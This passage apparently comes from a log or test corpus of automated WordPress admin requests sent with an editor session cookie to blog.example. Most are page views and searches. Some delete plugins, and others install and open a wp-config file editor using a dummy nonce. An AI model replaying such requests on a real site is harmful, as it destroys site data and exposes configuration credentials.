http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/powershell-basics/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-admin/customize.php?url=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/powershell-basics/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""} +{"method": "GET", "target": "/wp-admin/term.php?taxonomy=post_tag&tag_ID=2&post_type=post&wp_http_referer=%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dpost_tag%26s%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag&s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""} +{"method": "GET", "target": "/wp-admin/term.php?taxonomy=post_tag&tag_ID=2&post_type=post&wp_http_referer=%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dpost_tag%26s%3Dpowershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag&s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""} +{"method": "GET", "target": "/wp-admin/term.php?taxonomy=post_tag&tag_ID=2&post_type=post&wp_http_referer=%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dpost_tag%26s%3D.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag&s=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""} +{"method": "GET", "target": "/wp-admin/user-edit.php?user_id=2&wp_http_referer=%2Fwp-admin%2Fusers.php%3Fs%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""} +{"method": "GET", "target": "/wp-admin/user-edit.php?user_id=2&wp_http_referer=%2Fwp-admin%2Fusers.php%3Fs%3Dpowershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""} +{"method": "GET", "target": "/wp-admin/user-edit.php?user_id=2&wp_http_referer=%2Fwp-admin%2Fusers.php%3Fs%3D.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php?s=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""} +{"method": "GET", "target": "/wp-admin/customize.php?return=%2Fwp-admin%2Fedit.php%3Fs%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""} +{"method": "GET", "target": "/wp-admin/customize.php?return=%2Fwp-admin%2Fedit.php%3Fs%3Dpowershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""} +{"method": "GET", "target": "/wp-admin/customize.php?return=%2Fwp-admin%2Fedit.php%3Fs%3D.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""} +{"method": "GET", "target": "/wp-admin/customize.php?url=http%3A%2F%2Fblog.example%2F%3Fs%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""} +{"method": "GET", "target": "/wp-admin/customize.php?url=http%3A%2F%2Fblog.example%2F%3Fs%3Dpowershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""} +{"method": "GET", "target": "/wp-admin/customize.php?url=http%3A%2F%2Fblog.example%2F%3Fs%3D.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""} +{"method": "GET", "target": "/wp-admin/upgrade.php?_wp_http_referer=%2Fwp-admin%2Fedit.php%3Fs%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-install.php?tab=plugin-information&plugin=docker-helper&TB_iframe=true&width=772&height=550", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-install.php?tab=plugin-information&plugin=powershell-tools&TB_iframe=true&width=772&height=550", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugins.php?action=delete-selected&checked%5B%5D=docker-helper%2Fdocker-helper.php&plugin_status=all&paged=1&s&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugins.php?action=delete-selected&checked%5B%5D=powershell-tools%2Fpowershell-tools.php&plugin_status=all&paged=1&s&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-install.php?tab=plugin-information&plugin=wp-config-file-editor&TB_iframe=true&width=772&height=550", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugins.php?action=deactivate&plugin=wp-config-file-editor%2Fwp-config-file-editor.php&plugin_status=all&paged=1&s&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=wp-config-file-editor%2Fwp-config-file-editor.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/update.php?action=install-plugin&plugin=wp-config-file-editor&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/themes.php?theme=python3-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214697"], "body": ""} +{"method": "GET", "target": "/wp-admin/customize.php?theme=python3-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; 